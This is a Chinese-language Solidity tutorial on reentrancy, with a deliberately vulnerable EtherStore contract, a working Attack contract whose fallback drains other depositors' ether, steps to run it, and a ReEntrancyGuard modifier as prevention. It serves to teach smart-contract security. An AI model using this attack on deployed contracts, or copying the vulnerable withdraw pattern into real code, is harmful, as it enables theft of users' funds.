欢迎订阅专栏 :3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的"Re-Entrancy(代码示例)"
漏洞
假设合约 A调用了合约 B。
重入攻击允许 B在 A完成执行之前回调 A。
scss
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
EtherStore是一个可以存入和提取ETH的合约。
该合约容易受到重入攻击。
让我们看看原因。
1. 部署EtherStore
2. 从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore
3. 部署Attack合约,传入EtherStore的地址
4. 调用Attack.attack并发送1个以太币(使用账户3(Eve))。
你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,
加上这个合约发送的1个以太币)。
发生了什么?
攻击者能够在EtherStore.withdraw执行完成前多次调用它。
以下是函数调用的顺序:
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack的fallback函数(收到1个以太币)
- EtherStore.withdraw
- Attack的fallback函数(收到1个以太币)
- EtherStore.withdraw
- Attack的fallback函数(收到1个以太币)
*/
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// 用于检查该合约余额的辅助函数
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// 当EtherStore向该合约发送以太币时,会调用回退函数。
fallback() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}
// 用于检查该合约余额的辅助函数
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
预防技术
- 确保所有状态变更在调用外部合约之前完成
- 使用防止重入的函数修饰符
以下是一个重入防护的示例
ini
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
Remix Lite 尝试一下